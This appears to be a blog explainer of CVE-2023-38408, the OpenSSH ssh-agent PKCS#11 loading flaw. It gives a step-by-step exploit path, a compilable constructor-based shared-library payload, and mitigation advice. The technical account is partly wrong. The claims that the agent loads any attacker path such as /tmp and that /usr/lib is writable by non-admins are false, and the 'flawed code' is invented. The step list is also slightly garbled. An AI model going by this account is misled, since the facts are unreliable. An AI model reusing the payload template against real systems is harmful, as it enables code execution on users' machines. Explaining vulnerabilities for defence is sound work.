CVE-2023-38408 - How A Flawed Search Path in OpenSSH's ssh-agent Puts Your System at Risk

OpenSSH is the backbone of secure remote access on millions of computers worldwide. But sometimes, even robust tools like ssh-agent can have security cracks. CVE-2023-38408 is one such hole—a path flaw that makes it possible for attackers to execute arbitrary code if you forward your ssh-agent to a malicious server. Let's break down how this vulnerability works, what the impact is, and how you can protect yourself.

CVE-2023-38408: OpenSSH before 9.3p2 has a bug in ssh-agent’s search path for PKCS#11 modules.

- Impact: If you forward your ssh-agent to a compromised or malicious machine, an attacker can make your agent load code from wherever they want. This could give them remote code execution—directly running whatever they want on your local system!
- Root Cause: ssh-agent doesn’t check if PKCS#11 modules (which live in /usr/lib) are actually safe to load.
- History: This is a follow-up to older bug CVE-2016-10009, which didn’t fully solve the problem.

What is PKCS#11 and Why Should I Care?

PKCS#11 is a standard to interact with cryptographic tokens (like smart cards or hardware security modules). OpenSSH uses this so you can, for example, authenticate with a smart card. The trouble? ssh-agent can be told—by anyone with access—to load extra PKCS#11 "modules," i.e., shared libraries.

The Exploit: How Attackers Get In

The problem starts if you do agent forwarding. When you SSH into another server with ssh -A, your ssh-agent on your computer can be reached from that server. That’s handy, but very risky if the remote server is shady.

You SSH to EvilServer with agent forwarding enabled.

2. Attacker on EvilServer runs a command to ask your ssh-agent to “load a PKCS#11 module” using ssh-add -s /path/to/library.so.
3. ssh-agent (on your laptop!) happily loads the .so file, even though it might be malicious code (for example, a shared library the attacker controls).
4. Boom: Remote Code Execution. That malicious code now runs with the same permissions as your user account. Game over.

### Why /usr/lib Isn’t Safe

On Unix systems, /usr/lib is *not* guaranteed to be trusted, or protected from writes by non-admin users. So assuming any .so here is “safe” to load is a huge oversight.

The Code Problem (What Was Busted)

Here is a simplified version of the flawed code from ssh-agent's PKCS#11 handling (not the full code, but illustrative):

char *default_so_path = "/usr/lib/opensc-pkcs11.so"; // EXAMPLE - Attacker can override this!

void load_pkcs11_module(const char *path) {
    void *handle = dlopen(path, RTLD_NOW);
    // No checks if path is in a trusted, root-only directory!
    if (!handle) {
        fprintf(stderr, "Could not load PKCS#11 library: %s\n", path);
        return;
    }
    // ...do stuff with the untrusted module...
}

An attacker can use PKCS#11 features in the agent protocol to trigger loading whatever path they want!

1. Attacker gets you to SSH into their system

ssh -A attacker@evilserver

> The -A flag forwards your agent—don’t use it unless you absolutely trust the server.

2. Attacker runs

ssh-add -s /tmp/myevilloader.so

Where /tmp/myevilloader.so is a custom shared library the attacker controls (it could do anything—steal keys, open shells, etc).

A basic malicious PKCS#11 shared object (evilmodule.c) might look like

#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
void loaded() {
    system("touch /tmp/hacked_by_pkcs11");
}

Compile it

gcc -fPIC -shared -o /tmp/evil.so evilmodule.c

When you run ssh-add -s /tmp/evil.so (or the attacker does via agent-forwarding), it will create the file /tmp/hacked_by_pkcs11—proof the code runs under your user account.

Why Is This Still Around?

A similar hole was patched in CVE-2016-10009, but the fix wasn't tight enough—CVE-2023-38408 closes another gap in how module search paths are handled.

- Patch details: OpenSSH 9.3p2 Release Notes
- Bug report: oss-security mailing list summary

1. Upgrade OpenSSH!

Ensure you're running OpenSSH 9.3p2 or newer.
Most major Linux distributions released patches in mid-July 2023.

2. Avoid Agent Forwarding

Never use ssh -A except to machines you completely control and trust.

3. Audit Your Systems

If you *had* to use agent forwarding, assume your agent could have been exploited if you connected to a compromised remote.

4. Limit Access to Your Agent

Set ForwardAgent no by default in your ~/.ssh/config.

Timeline

Published on: 07/20/2023 03:15:10 UTC
Last modified on: 11/07/2023 04:17:17 UTC